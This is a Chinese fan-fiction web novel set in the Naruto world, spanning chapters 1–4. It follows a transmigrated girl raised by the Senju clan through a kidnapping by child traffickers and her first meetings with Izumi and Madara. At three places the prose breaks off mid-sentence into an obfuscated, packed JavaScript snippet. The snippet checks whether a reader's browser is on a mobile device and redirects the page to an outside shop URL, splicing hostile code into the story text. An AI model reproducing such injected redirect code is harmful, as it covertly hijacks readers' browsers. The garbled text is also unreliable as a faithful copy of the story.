《不想当城主的忍者不是好s级黑暗生物》 1. 《忍者x忍者》online 被温热的血色液体喷洒到的时候,松萝有一丝丝迷惑,她应该是在玩游戏,吧? 就是那个她花光了“爸爸”给的零花钱入手的人气休闲田园游戏吧? 《忍者x忍者》,继《贪婪岛》之后开始在职业猎人中流行起来的游戏,制作者是MOON股份有限公司,已知发行数超过500台,单台价格超过150亿,入手难易度G。 游戏内容和画面精美程度不在贪婪岛之下,以高自由度和超真实的体验为主打的一款休闲探索游戏。 虽然主宣传语是“体验乡村生活,携手永恒挚友”,但是所有人都是冲着真实的忍术教学去的。 与念能力完全不同的力量体系引起了猎人协会的重视,越来越多富豪也暗戳戳想要培养自己的忍者保镖大军,导致该游戏的价格巨上不下。 而松萝……只是为了在象牙塔里打发时间罢了。 她跟“爸爸”有契约,没有他的命令不会踏出房间一步。 但是现在……契约的束缚消失了。 松萝向下看,是从来没见过的黄黑色的土地。 这不是游戏,是真实的世界。 她自由啦! “啪嗒”,脚踝传来黏腻的触感,是布满血痕的粗糙大掌。 黑绒绒的脑袋蠕动着,似要昂起。 啊啊啊啊啊啊啊啊! ……要不还是把我关起来吧。 “……拉……” 声音太小,松萝没听清。 “我……想吃……拉面” 松萝:“……吃草吧你。” 她抓了一把短草胡乱往男人嘴里一塞。 * “咚” 清脆的敲脑瓜子声。 “千手松萝!你又在课堂上睡觉!出去罚站!” 又梦到第一天穿来的事情了。 松萝一边打哈欠一边站在学堂外。 千手族内学堂主要开设给六岁及以下的孩子,既负责文化教育,即卷轴的读写、暗号的圈圈画画、忍族的各种标志和著名忍术等,也负责体术和基础忍术的教育。今日便是基础汉字的读写。 没有通过学堂考核的孩子被认为不能独当一面,不能独当一面的孩子不能上战场。这是族内默认的规矩。 松萝她是十岁的高龄留级生,家喻户晓的那种。 这不,路过的两个妇人看到她罚站,偷偷笑了起来。 “就是她吧,那个……” “嘘,小声点。” 松萝又打了个哈欠,眼底水光涌动,楚楚可怜。 一个没注意,那两个妇人已经走到了她面前。 “小萝儿,又被先生罚站啦?这篮是我家鸡今天下的蛋,给你,别难过啊。先生也是因为严格、负责,明儿他就消气了。” “大树是这样的,我家孩子之前上学时也没少被罚站过呢。我儿子还经常罚站到一半跑回家玩,等下堂了再回来装脚痛呢。” 她们口中的“千手大树”是学堂的文化课先生。 她们一个给松萝塞鸡蛋,一个挤眉弄眼地教她逃课。 松萝推让了两回,盛情难却,一脸“为难”地抱着一篮子鸡蛋逃课了。 唉,“家喻户晓式人见人爱”真令人头疼啊。 * “先生今天提前下堂了。” 看到家里有人的时候千手松萝表情僵了一秒,很快胡诌了起来。 院子里举着两个大石头的黑发少年“哎”了一声:“真好啊,我们那个时候从来没有提前放我们回来过。” 坐在廊下磨刀的白发少年眼皮都没抬:“明摆着是逃课了,大树先生十年来从来都只有拖堂的。” 黑发少年“哎哎”两声:“小萝儿又逃课了呀?” 话音未落,白发少年立刻接上,对话熟练得像是重复了上百次:“不经常逃课怎么当吊车尾呢。” 黑发少年又“哎哎哎”了起来,松萝忍无可忍,拿起一个鸡蛋朝他砸去:“‘哎哎怪’给我受死!” 他单腿后踢,用膝盖窝夹住了鸡蛋,得意的笑: “嘿嘿,‘哎哎怪’没死!” 松萝眼睛一眯,转而化身鸡蛋投射机器。 黑发少年放下石头,前滚翻后滚翻侧滚翻,滑铲跳跃旋转全用上,竟是一个鸡蛋都没落地,均被他接在了怀里。 “嘿嘿,‘哎哎怪’最终存活!萝萝怪倒地不起!” “呔!晦气!”还不如在学堂睡觉! 白发少年偷笑一声,制止了两人玩食物的行为,板起脸:“好了,萝萝怪,既然学堂提前放了,那我的每日晚课就提前上吧,跟我进来。” “……能不能请一天假啊,二哥~” 二哥微笑:“有事二哥,没事扉间。你的二哥千手扉间命令你,现在,立刻,马上,跟我进来。” 松萝:…… * 三年前,也就是千手松萝刚穿来的时候。 她带着那片侧面战场唯一存活的族人——“说要吃拉面”的那位回到了族里。 她的父母原是族长的亲卫队,均在这次战事中亡故。 再加上一点复杂的因素,突然变成孤儿的松萝就被族长收养了。 族长家有两个儿子,本来有四个,现在只剩下了大儿子千手柱间和二儿子千手扉间。 千手柱间是个有点贱兮兮的傻气黑瓜头,千手扉间是……是宇宙无敌超级最最聪明集帅气可爱于一体的白毛。 如果他能不让松萝上晚课的话,她绝对能夸得比上述还夸张。 但是扉间是一个严格且严谨的人,具体体现为柱间和他分别有着同龄人中“力量最大”、“掌握忍术最多”的称号,就一定要松萝也拿一个“什么之最”。 当然不是现在的“学堂在读最大年龄保持者”的称号。 因此他给松萝准备了从文到武,上含天文下含地理,兵枪刀棍十八般武艺的一系列课程。 松萝:……要不还是把我关起来吧。 这个世界虽然语言是通的,但是文字完全不一样,她当初花了不到半年能听能认能说能读已经很是天才了,没想到认完字才是一切的开始。 他那么喜欢当老师,不如给他找几个学生吧,三个,不,五个好了……松萝思维刚开始发散,手上就挨了一下打。 松萝嗖地站起来:“啊呀,痛死了!我要去找药膏!” “嗯,再不快涂一点红印子都要看不到了呢。” 她讪讪坐下。 “木遁是我们千手的血继限界,根据族史记载,历代觉醒过的不超过五人。简单 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735027|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说木遁就是水、土属性的查克拉合成释放。 “可惜我翻遍藏书也没有木遁修炼的记载。但是修炼土遁和水遁也是一样的。 “你对水土的适性较高,土遁的分身术和土阵壁也应用的不错,但是攻击力稍显不足,今天就来学习水遁·水龙弹,首先把结印背下来。” 松萝一脸震惊:“为了练木遁所以先练水遁和土遁?这跟为了吃鸡蛋,先把小鸡孵出来有什么区别!” “打好基础有什么不对?还是继续让你跟一年前一样自由探索、自由学习结果连一个分身之术都没学会?” “对!我喜欢自由!” “自由地死在战场上吗?” “…又不一定会死……”松萝轻声嗫嚅了一句,就被急忙的脚步声打断了。 下一秒,门被拉开,千手柱间一脸凝重:“父亲受了重伤。” 接着他看向松萝:“他需要你。” * 松萝在少年们的陪同下赶到了千手佛间及其部下的临时驻扎地。 临时驻扎地有十几个人,三四个帐篷,有人在巡逻,有人在做饭。 他们在这附近执行一个任务。 千手佛间躺在他的专属帐篷里,腹部、肩部均在汩汩往外冒血,脸色已经开始泛青,四周散乱着沾满血的纱布和绷带。 看到松萝出现,帐篷里的另外两个人都松了一口气。 “什么办法都试过了,血根本止不住。”说话的是亲卫队的队长千手椽富,是一个三十五岁的国字脸男人,半个老熟人了,经常会送点笋过来。 松萝漫不经心地朝千手椽富伸出手:“拿来吧。” 这点事情根本算不上什么,她心里还在想刚刚的水龙弹之术,居然有44个印!要是看一眼就能学会就好了,练习什么的最讨厌了。 手悬在空中的时间有点久了,松萝疑惑地抬头,对上同样困惑的两张面孔。 与此同时,破风声在耳边划过。 “后退!” 不过眨眼工夫,柱间和扉间已与两个“亲卫队”动起手来。 “为什么暴露了”,松萝非但没有后退,反而蹲在真假不明的“千手佛间”旁边,戳了戳他的脸,自言自语,“那两个人心底肯定在想这个吧。” 没反应。 她忽然竖起一根食指,数十根剑草凭空出现,直指“千手佛间”。食指一弯,剑草全扎在了他身上,密密麻麻的血窟窿瞬间被涌出的鲜血淹没了。 “啊,”松萝抬起头,朝柱间他们喊,“好像是真的父亲诶,我刚刚扎他心脏也没跳起来打我呢。” 四人行动同时一滞,千手柱间痛苦地捂住太阳穴,稚嫩的面孔上流露出沧桑:“笨蛋,那还不赶快救人!” “噢噢。” 救人倒是很简单,就是祭品…… 松萝看看脸色铁青的佛间,又看看奋战的两人,算了,既然是大哥的“愿望”,就不要代价了。 她抬手往虚空中一握,拳头中立刻多了一根草,作势往佛间口中塞去。 “等等!”扉间突然出声,“我们打这么久了外面为什么一点动静也没有?” 但是,松萝看着空空如也的手,露出了智慧的眼神。 然后就这么智慧地被复活的“佛间”掳走了。 2. 生命的重量 * “老子被扎心脏的时候真的以为要死了!” “这也正好证明了这崽子的能力是货真价实的,等我们回去之后就能翻身了。” 千手松萝被暴揍一顿,然后被他们扔进了一个被黑布笼罩的大笼子。 她揉着屁股甫一睁眼,就看到黑暗中闪着两点红色的光。 “鬼啊!” “乱叫什么!” 敌人不耐地踢了踢笼子。 松萝立刻闭上了嘴,再去看周围时却什么也看不到了。她战战兢兢地在黑暗中摸索,忽然被一个温热的东西捂住了嘴巴。 “嘘,你也是被‘抓’来的吗?” 少年自称泉,外面的人属于臭名昭著的拐卖组织“星”,专门抓忍者的孩子,要么洗脑后卖给贵族或者富豪,要么就被当作实验的材料。 特别是有血继限界的忍族,多年来深受其害。 这一次,他们联合起来,假装被抓,实际上是要集合进攻“星”的老巢。 “所以,你也联系一下你的族人吧。” “……” “你也是忍者吧,传递消息的手段应该会的吧。” “……” 泉少年陷入了沉默。 过了一会儿,他幽幽出声:“你该不会真的是被抓来的吧?” 通常,松萝不会在一日之内连续智慧,但今天是个例外。 她转移话题:“吃果子吗?” 两人此时靠得很近,勉强能透过微弱的光看见彼此。 泉的视力很好,他能清楚地看见松萝手里五颜六色的小圆果子,也不知道藏哪里了。他被关进来之前可是连绑头发的绳子都被薅下来了,一点没给他留。 “不用了。” 忍者在外不会随意吃他人给的东西,即使他饿了很久了。 这次他是自告奋勇参与的,虽然一开始遭到了父亲和哥哥的强烈反对。 “吧唧吧唧。” 但星组织只抓十岁以下的孩子,他是最合适的人选之一。 “吧唧吧唧。” 他有一个幼年玩伴去年失踪了,很有可能就是遭了他们的毒手。 “吧唧吧唧。” 所以哪怕这次任务没有任务金,他也…… 泉木然地看着腮帮子一动一动的女孩,想:警惕性这么差,真的是忍者吗?该不会是那种学了两三招就自立门户给人当门神的半吊子家族吧。 松萝感受到了视线,眨眨眼,递出果子:“吃吗?” * 另一边,千手们正急得团团转,真正的千手佛间听完了柱间的汇报,脸色阴沉。 “所以你们被骗到了假驻地,不但让松萝当着你们的面被掳走了,还让那几个假冒千手的人也逃了?” 两个跪在地上,皆是一脸羞愧与不甘。 柱间:“父亲,请让我去找松萝。现在的话还有痕迹可以追踪。” 千手佛间没有同意,但是此事他有眉目。 根据情报,以宇智波为首,因血继限界闻名的忍族最近联合起来在做一件事。宇智波当然不会邀请死对头,但是奈良一族也参与了,后者与千手交好,便跟他提了这个事情。 血继限界,没想到数百年才出现一次的木遁,这么快就被发现了。 “我有线索,你们先回去待命。” * 天很快就全黑了,本来还能看清一点四周的松萝这下子是真的伸手不见五指了。 “泉?” “怎么了?” “我能往你那儿靠点吗?” “……” “我还有一点果子,都给你。” “……好吧。” 松萝刚挪了一下屁股,就感觉笼子摇摇晃晃地被抬了起来,她手没撑住,整个人滑向了泉少年的怀里,果子洒了一地。 “启程了。”泉扶住她的肩膀,说道。 从现在开始他要打起精神了,沿路留下标记才行。 这一路过得尤为漫长,有过花香,有过潮鸣,整整一天一夜。 但是奇妙的是,他一点都不饿,因为松萝时不时会摸出一些果子给他。他都要怀疑是不是藏了什么储物卷轴在身上。 被赶下笼子,捆住双手的时候,松萝明显蔫蔫的。 她晕船了,到现在都还没恢复过来。 ——干脆把这些人都杀了好了。 晕船到想吐但吐不出来的时候,内心冒出过这个念头。 但是,那个人说过,生命是有重量的,谁剥夺了生命,就要在余生的每一日背负起被剥夺的重量。 “到了。” 松萝停下脚步,面前是一座寺庙。 他们通过地下通道进入了寺庙内部的——监狱。 这里关着不少衣衫破烂的孩子,多是皮包骨头,双目无神。 有的断手有的断脚,有的铁链穿肩而过,有的眼窝空空,还有的人趴在地上,身体薄的得像一张纸。 松萝的脚步慢了下来,泉顺着她的目光看向那个跟纸一样薄的少年。 那是辉夜的人,血继限界“尸骨脉”的拥有者,骨头能抽出来当作最坚硬的武器。看他的样子,恐怕是这个地方被折磨得最惨的。 “他是谁?” 捆着他们的大汉到底是到了自己的大本营,原本怎么都不理他们,现在倒是笑意盈盈,愿意说上那么几句话了。 “8号,在这里活得最久的一个了。顺便一提,你们是第99个和第100个。这次一共抓了5个,大丰收大丰收!” 松萝追问:“他没有名字吗?” “谁知道。” “吃下这个!快进去!” 两人依言照做。 “走走走,都结束了,洗澡喝酒去!这一路都感觉身上痒死了!” “你也是?我也全身痒,该不会被什么虫子咬了吧。看,手臂都被我抓出血了!” …… 两人刚走,松萝就从牢里出来了,刚刚吃的迷药对她没什么作用。当然对泉也一样。后者惊讶于她出牢的速度,只见她走到了那个辉夜一族的孩子的牢门前,蹲了下来。 松萝:“你好像快死了。” 她刚才就感受到了,气息最弱的就是眼前这人了。 他个子很高,不知道被关了多少年了,全身上下只剩下一条裤衩。头发已经看不出原来的样子,都是泥巴、瓦砾和不知名的脏东西。整个背部除了脊椎处是凸出来的,其他地方都像是放光了气的气球,贴在地上。 这样也能活着,真是不可思议。 泉走到她背后,眼里闪过一丝不忍。变成这幅样子,倒不如解脱了的好。 “我先出去了。”他还要出去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735028|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放信号,就不在这里耽搁了,“你自己小心。” 泉走后,松萝像是想通了什么,打开了眼前的牢门。 “我刚刚背负起了两个人的生命重量,所以我打算分你一半。” 那两人大概至死都在抓痒吧。 * 泉的信号给的很及时,忍者联合讨伐队立刻就包围了寺庙,直接将星组织从上到下杀穿了。 松萝从五谷轮回之所出来时,数双血红的眼睛钉在她身上。 吓得她直接坐在了地上。 ——二哥救命,是邪恶的宇智波啊! ——我第一次看到活的! “松萝!松萝!” 她僵硬地转了转脖子,看到熟悉的人扒开了前面几个成人宇智波的裤管子,走到她面前,伸出手。 如见到亲人一般,松萝直接抱住了泉的整条胳膊,恨不得自己能缩小挂在他身上。 “哇,泉,我好想你!你就是救命的天神!” 话音一出,不知道是不是松萝的错觉,盯着她的红眼睛好像更多了。 泉听了她的话突然有点脸红,偏偏她还使劲往他身上挤,不由得小声说:“你,你别,别靠这么近……” “不行,我害怕,”她朝那群人努努嘴,“你知道吗,他们是邪恶的宇智波,会吃人的!” 一个红眼睛青年听到了这边的动静,瞪大眼睛,歪着嘴巴,撅着八字眉突然闪现到松萝面前:“嗯?要吃就吃你这样的!除非你找天神救命啊!” 松萝被突然放大的脸吓到,尖叫着直接把脸埋进了泉的胸口。 “哈哈哈哈哈哈哈哈!” 笑声四起。 泉:…… 泉:谢谢,人贩子都没你可怕。 与其说红眼睛可怕,不如说扉间的“邪恶的宇智波”教育很“成功”。 接下来解救人质和清理尸体的时候,松萝寸步不离地跟在泉身边。 也是这个时候,她才发现,泉的脑后居然有一根用红绳绑起来的小辫子。本来他就长得很秀气了,加上这个,又多了点说不出来的感觉。 “你接下来怎么办?” “跟我走还是自己回去?” * ——为什么不提前告诉我跟泉走就是跟着宇智波走啊! 她挎着一个好心阿姨给她收拾的粮食包,前后左右都被宇智波的人夹着,不由得对身侧的人幽幽开口:“泉,你也是邪恶的宇智波吗?” 他微微翻了白眼,这是他这几天来第一次这么不优雅:“你哪里听来的这称呼,能不能改掉?宇智波是高贵的、优雅的、知性的,怎么想都跟‘邪恶’搭不上边。这一定是嫉妒我们的人传出的谣言!” 嫉妒?扉间?扉间嫉妒宇智波?哈? “对了,你家在哪啊?我们已经进入火之国了。”昨天有个消息他有一点在意,千手那边好像有个孩子被星组织抓走了。 他目光转向一边走路一边从包里抓零食的,吃完还嘬嘬手指的松萝…… 不,不可能,跟他们势均力敌的千手绝不可能是这样子的。或许趁乱逃了吧。 “我家在西下町。” 那是离千手族地很远的街道,反正绝对不能让他们知道自己是千手! 泉闻言微微动了动眉头,虽然有点远……但是……偶尔也是可以去玩一下的…… 3. 初遇 * 在西下町告别了泉,松萝开始踏上了一个人归家的路程。 她本应该往东南走,却搞错了方向,走往了西北边。 这里是靠近火之国与风之国边界的地方,受风之国沙漠干旱气候的影响,这里的农民过得不是很好。 又因为是在边界,两国关系不好时,时有倾轧,商人也都跑了。剩下的都是些老弱病残。 “大名遗忘之墟”,这里的民众这样称呼自己所在的城镇。墟是废墟的墟。 看着面目沧桑的老年人明知是荒地,却一遍又一遍地刨地,松萝内心并无波澜。 但是她不喜欢荒地。 也许是因为本体是植物吧。 她动了动手指。 “啊——” 老人忽然丢掉了锄头,跪在了地上,双手合十。 对着身边疯长的绿色,老人无声地磕下了头。 …… “这是什么!‘北方出现大片绿植,疑似神明显灵’?‘大名遗忘之墟改名为神迹之墟’?” 松萝回到族里已有好几天,听到扉间拿着坊间小报念自己的事迹,忍不住骄傲地挺起了胸。这点小事,洒洒水啦。 “你知不知道你干了些什么!” 他的暴怒跟自己想的有些不一样,松萝瞬间瘪了气。 千手柱间在一旁赔笑:“这不是好事么。” 他成功让扉间将矛头掉转:“好事?你以为没人能联想到木遁吗?你以为没人知道木遁是千手的血继限界吗?你以为他们会乐呵呵地祝福我们‘恭喜觉醒’吗?你想让这个连自保能力都没有的家伙成为众矢之的吗?” 柱间眼睛尴尬地漂移起来。 “她要是站在众人之前,你有自信一辈子隐藏住她的能力吗?” “这一次我们就没能保护住她,下次呢,每一次呢?” “她的能力被人知道了,来抢夺她的就不只是一个组织了!” “我比起她去救连姓甚名谁在哪儿出生在哪儿死亡都不知道的人,更宁愿她见死不救,好好地活着!” 扉间一顿输出,把两个人都骂哑火了。 松萝摸了摸鼻子,好像有点点酸。 他喘了口气,冷静地对两人下命令:“你,明天开始不用去学堂了,跟着我们俩修炼;大哥的钱包,从明天开始没收。” 柱间、松萝:!!! 这一天,少年少女失去了梦想。 * 扉间的计划只执行了三日,就因意外暂停了——千手松萝感冒了! “什么,小萝儿感冒了?” “可不是吗,那个传闻中的‘感冒’!” “听说是在河里游泳,风太大给吹的。” “这可真是出大事了,感冒会死吗?” “不知道诶,我从来没见过人生病,我家那小子从小到大都皮实的很,怎么打都没事……” “我听说三长老五十年前感冒过,他不是好好的活到现在了吗,肯定不至于死吧。” “不好意思,打扰一下!”,正在防具店门口聊天的三个成年人一看,打断他们的正是千手柱间,“请问哪里有买暖炉的?” “柱间你来的正好,小萝儿怎么样了?” “你得去南下町问问了。” “三长老感冒过,问过他怎么治了吗?” 柱间大大一鞠躬:“问过三长老了,他说用暖炉,捂上一晚,发发汗就好了!我这就去南下町!” 暖炉……他哥哥家里好像有一个。 一个正巧路过听完全部对话的千手少年露出了若有所思的神情。 * 脑袋晕沉沉的,这个感觉,有点像缺水或者光照不足。 她要去晒太阳。她要喝水。 松萝摇摇晃晃地穿上衣服,摇摇晃晃地走出院子,闻着河流的味道而去。 等她漂在在一条小河上、沐浴着阳光的时候,脸红扑扑的,身体又暖又凉的,“舒服”得露出了大大的笑容。 正在游泳的一个黑发少年撞到这个状态的松萝时,露出了看“智障”的眼神。 他顺手就将人捞了起来,死在河里挺晦气的。 天旋地转之后,松萝有一瞬的清醒,她迷蒙着眼,看到一个有点眼熟的黑发少年:“泉……泉……” 少年听到声音皱了皱眉,湿透了的黑发紧贴在脸庞,勾勒出他圆润流畅的脸型,深邃的黑色眼睛里能看到女孩的倒影。 她刚刚在喊什么? 盯了一会儿她红红的脸颊,少年叹了口气,扛起她往镇上跑去。 * 松萝睡了一觉后,精神气好了许多。 她躺在陌生的床上,衣服被换过,头顶盖着一条折起来的毛巾。床边柜上放着一个碗,碗下压着一张纸,上面写着“喝药”。 苍劲有力的两个字,以她不懂品鉴的眼光来看,这书法也得是上上乘。 喝完药,她走出去,遇上了正往里走的灰发老人。 “你醒了,正好,让我看看,跟我来。” 这里是陆见镇上的老字号“陆见医馆”,老人被尊称为森医师。 他检查了一圈:“没有大碍,晚上要是还发烧便再吃一副药,如果没有的话就别吃了,轻微的风寒过上三五日就好了。” “啊啊”,松萝刚出声,就发现自己嗓子哑了。 “不用担心,一些炎症罢了,近日好好休息,忌生冷。药我也给你拿来了。” 松萝用力点头,然后指了指自己,又指了指里间,也就是她刚刚躺的地方,摊手歪头。 老人一看就懂:“你是问你怎么过来的是吗?斑少爷把你带来的,你当时衣服都湿了,意识也不太清醒,我让隔壁的阿嬷帮你换了衣服。药是斑少爷帮你煮的,钱也是他付的。他说这点钱不用还了。” * 松萝带着药回到了千手,在族长宅子门口遇见了抱着暖炉的千手弥实——学堂里玩得最好的同窗,也是留级生,只不过他去年就结束留级生涯了。 “听说你感冒了,这个暖炉有用,我就从我哥家里给你拿过来了。” 松萝接过,问:“进去坐坐?” 他头摇得跟拨浪鼓一样。差生怕老师,也怕族长。她理解的。 “那下回见。” 因为松萝不见而四处找人的千手扉间和问遍南下町才买到暖炉的千手柱间回到家的时候,看到挂念了一天的那个人正抱着暖炉剥炒栗子。 看到哥哥们回家,松萝举起手中的金黄色栗子,声音沙哑但清晰:“吃吗,刚刚三长老又来了一趟,带给我的零嘴儿~” 之后询问之下才知道她去了医馆,喝了退烧药。 柱间、扉间恍然大悟:哦~原来生病要去医馆啊。 从来没有生过病的千手终于填补上了这个常识的空白。 * 因为还未完全病愈而多放了几天假的松萝上山了。 并没有特别的目的,就是很喜欢亲近大自然。 不过她忘了大自然里不止有花草树木,也有猛兽——比如熊。 这只棕熊有她两倍高,三倍宽,挤在两棵大树间,流着哈喇子。 一般丛林里一片区域只会有一头猛兽,如果杀了熊会引起附近猛兽们的领域划分的争斗,进而给住在附近的人带来麻烦。不过山上也没人住,应该不碍事吧。 松萝一边思考一边避开棕熊的几爪子。 没有打中人反而激怒了棕熊。 它后腿发力,双爪并用,朝小矮人一个猛扑。 “嚓——滋——” 棕熊的姿态被永远地定格了,它被当胸化开一道又深又长的口子,鲜血喷涌而出。 松萝惊讶地看着挡在自己面前的人,这面容似曾相识,她从脑海里扒拉出来一个名字: “斑少爷?”她的声音依旧沙哑。 “今天没烧傻?”这是默认了。 斑少爷今天穿了一件月白的浴衣。 等他转过身来……正面全被鲜血染红了,包括脸。 松萝不是随身带手帕的人,她只好撕下干净的衣角递给他擦脸。 但是斑没有接,自己从怀里摸出一张深蓝色手帕擦了起来。 “你欠我两条命了。” 松萝严肃点头,表示记下:“我会还你的。” 斑轻嗤一声,不以为意。 她起身,走向熊的尸体,她可没忘记熊掌是很值钱的。 斑站在一边看着她,松萝发现她不搭话的时候这少年其实挺沉默的,换成是她认识的其他任何一个人都会继续说些废话,不会这么安静就是了。 她的嗓子在恢复期,也不想讲话,于是就这么冷了下来。 放血,切熊掌。 第二步遇到了些问题,她只带了把割草药的小刀,不够锋利,卡在熊掌皮毛里不得寸进,最后她想拔出来还得手脚并用。 少年看到她笨拙的样子突然哈哈大笑起来。 不过他除了笑倒是还干了件人事:“用这个。” 他把腰间的短刀递了过来。 深蓝色的刀柄和刀鞘,还有暗纹,一看就是好东西。 松萝记得这个,他刚刚杀熊时就用的这把刀,亮白的刀光自下而上,凌厉异常。 接过刀,继续她的割熊掌大业,有了好刀,手底下的感觉完全不一样,她三两下就结束了。 倒是少年靠在树上,双手环胸,看到她利索的动作眸光深了深。 松萝抱起两个半人高的熊掌有些行动困难,于是找了些藤条,一个绑在了背后,另一个还是抱在胸前,就像穿了一件熊毛大衣,只露出头和脚来。 斑收回他的刀,转身看到的就是淹没在棕色熊毛里的女孩,但他坏心眼地没有提出帮忙,只是跟着松萝。 就这样一路到了南下町附近的草丛里,松萝停下来,跟着他的斑便也停下来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13735029|145105||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 变身术。 松萝把自己伪装成一个八尺大汉,露出精壮的肱二头肌的,然后朝斑眨眼,让他也变个身。 就算是忍者也不是时时刻刻都在斗争的,见面互通名字时没有报上家族姓氏已是一种“暂时休战”的信号。 两人都知道对方是忍者,也没有故意去掩饰,不过她这大咧咧不设防的样子真有点碍眼。 ——啧,真是辣眼睛的变身。 斑为了配合同伴身份也变成了个八尺大汉,就是不知道是不是好胜心,他把肌肉变得更大块更紧实。 松萝才不在意这些,她从熊掌的伤口里摸了一把,把未干的血抹在自己脸颊和下巴,营造杀气腾腾的氛围,接着她又想给斑也抹上,被拒绝了。 两人朝着街市走去,凶神恶煞的样子果然没人敢找茬,连带卖掉熊掌的钱都多了两成。 两人在一个暗巷里解除了变身术。 斑衣服上的血迹已经干了,凝成棕褐色,破坏了月白衣服的美感。 松萝想了想,拉着他往一家成衣店走去。 斑看着拉着自己衣袖的手没说话。 店里布料不少,适合斑这个身高的成衣却不多,要不是斑对花里胡哨的衣服表现出了明显的厌恶,她倒是想看他试试红色的衣服呢。 最终还是选了一件灰雾色的浴衣,这也是大哥经常穿的颜色。 换上了新的干净的衣服斑的心情肉眼可见得好了很多,眉头也舒展了开来。 松萝觉得这人的表情挺好懂的,看眉毛就行。 钱是她付的,斑没说啥。 颠了颠钱包,还剩一大笔钱,来都来了,她决定去买个簪子。 路边摊很多,有一个摊子前面围了几个涂白面盘着头发的和服女子,是舞|伎的打扮。 松萝戳戳身边的少年,又指指那几个舞|伎,她还第一次这么近距离看到,有些新鲜。 斑看了眼,那几个女子还涂着下唇的口脂,还带着垂帘发饰,一看就是年轻舞|伎:“一级生罢了。” 松萝露出笑容:斑你很懂哦。 斑自然是懂的,他来自忍界大家族宇智波,是族长的大儿子,也曾跟父亲一起去过应酬的地方,不乏资深舞|伎抱着三味线的演出。 他不想盯着那几个女子看,偏生松萝不肯走,还拽着他的袖子,最后倒让那几个舞|伎注意到了他俩,低声讨论还偷偷笑了起来。 斑:…… 斑:“走了。” 扯袖子没扯动,这家伙力气比我想象中的大嘛。 那几个舞|伎正好买完东西离开,松萝嗯嗯啊啊了几下,拉着斑到了刚刚她们停留的摊子前,然后用拜托的手势对着斑,眨眨眼。 斑:……天知道我为什么能看懂她的意思。 他用最快的语速小声说:“刚刚那几个一级生买的哪几个东西拿出来给我看看。” 摊主是个上了年纪的婆婆,笑得眼睛眯成了一条线:“哎哟,我这儿的都是手工做的,没有一模一样的,您看这几个相似的成不?” 她挑出木梳,木簪和花簪摆在松萝面前,这才是真正的顾客,婆婆看得出来。 木梳就算了,这是插在盘发上的小梳子,她还不需要。 木簪是常见的祥云款式,不是很喜欢,有些过于成熟了。 吸引住她的是花簪,黄色花蕊,外面包裹着纸质的鳞状白色花瓣,三朵小花团聚在一起,颇有些可爱。 摊主很有眼色地介绍:“您真有眼光,这是纸鳞托菊,颜色娇嫩,而且不容易褪色,可以用很久呢。” 见女孩露出满意的笑容,摊主又抓紧机会给她介绍了几种别的首饰或者同类簪子。 松萝听得津津有味,相反斑越来越觉得脚痒,他总觉得那个婆婆偶尔之间对他投来的一瞥不怀好意。 忍不了了,斑说:“好了没?” 松萝拽拽他,挑了三个簪子放在他面前,想听听他的意见。 在他看来都一个样:“全买了。” 还没等松萝反应,摊主已经笑呵呵地动手包了起来,生意人手速真可怕。 不过反正现在有钱,买三个也行,她伸手去掏腰间的钱包付账。 摊主婆婆从她手里接过钱的时候还愣了一下,隐晦地看了一眼斑,那眼神里,松萝都看出了摊主的嫌弃。 斑:…… 他大步离开那个让他浑身不舒服的地方。 两人又接着买了点吃的,在南下町的入口告别。 斑张了张嘴,欲言又止:“你的病…” 松萝意会,表示自己没事了,然后掏出钱袋,全部给了斑。 熊本来就是他宰的,而且还有医药费,斑这样想着,干脆地收下了。 收下之后他又开始犹豫要不要问她那天河边喊的什么…… 然而松萝给完钱,就跟他摆手离开了。他自嘲地笑笑,掂量着钱也朝另一个方向走了。 4. 新年 * 那之后松萝偶尔还能在南贺川见到斑少年。 说是偶尔,其实加上之前见过的次数,总共也就见了三次面。 因为自她痊愈之后,就开始了被扉间抓着恶补知识和偶尔被长老们压着进行体术操练的日子。 但是时间一久,他们就发现松萝委实没有什么忍术的天分,也不像柱间那小子经打,木遁倒是用得很熟练但在这方面他们没有什么能教的。于是渐渐的,就全都转去教导柱间了。 当看到柱间饭吃到一半也能睡着的时候,松萝切切实实地感受到了庆幸。 很快两年过去,又到了新年,柱间也被放了几天假。 过完新年松萝就12岁了。 新年是要捣年糕的。 她拉着大哥二哥,去街上买了许多糯米。 路过成衣店看见有合适的给佛间爸爸带了件衣服。 这个家只有她一个女的,生活上略显粗糙,家里人的衣服穿了好几年也不知道买新的,有破洞…额她也不会补就直接扔掉,也就只能靠她时不时逛街来给家里人添新衣服了。 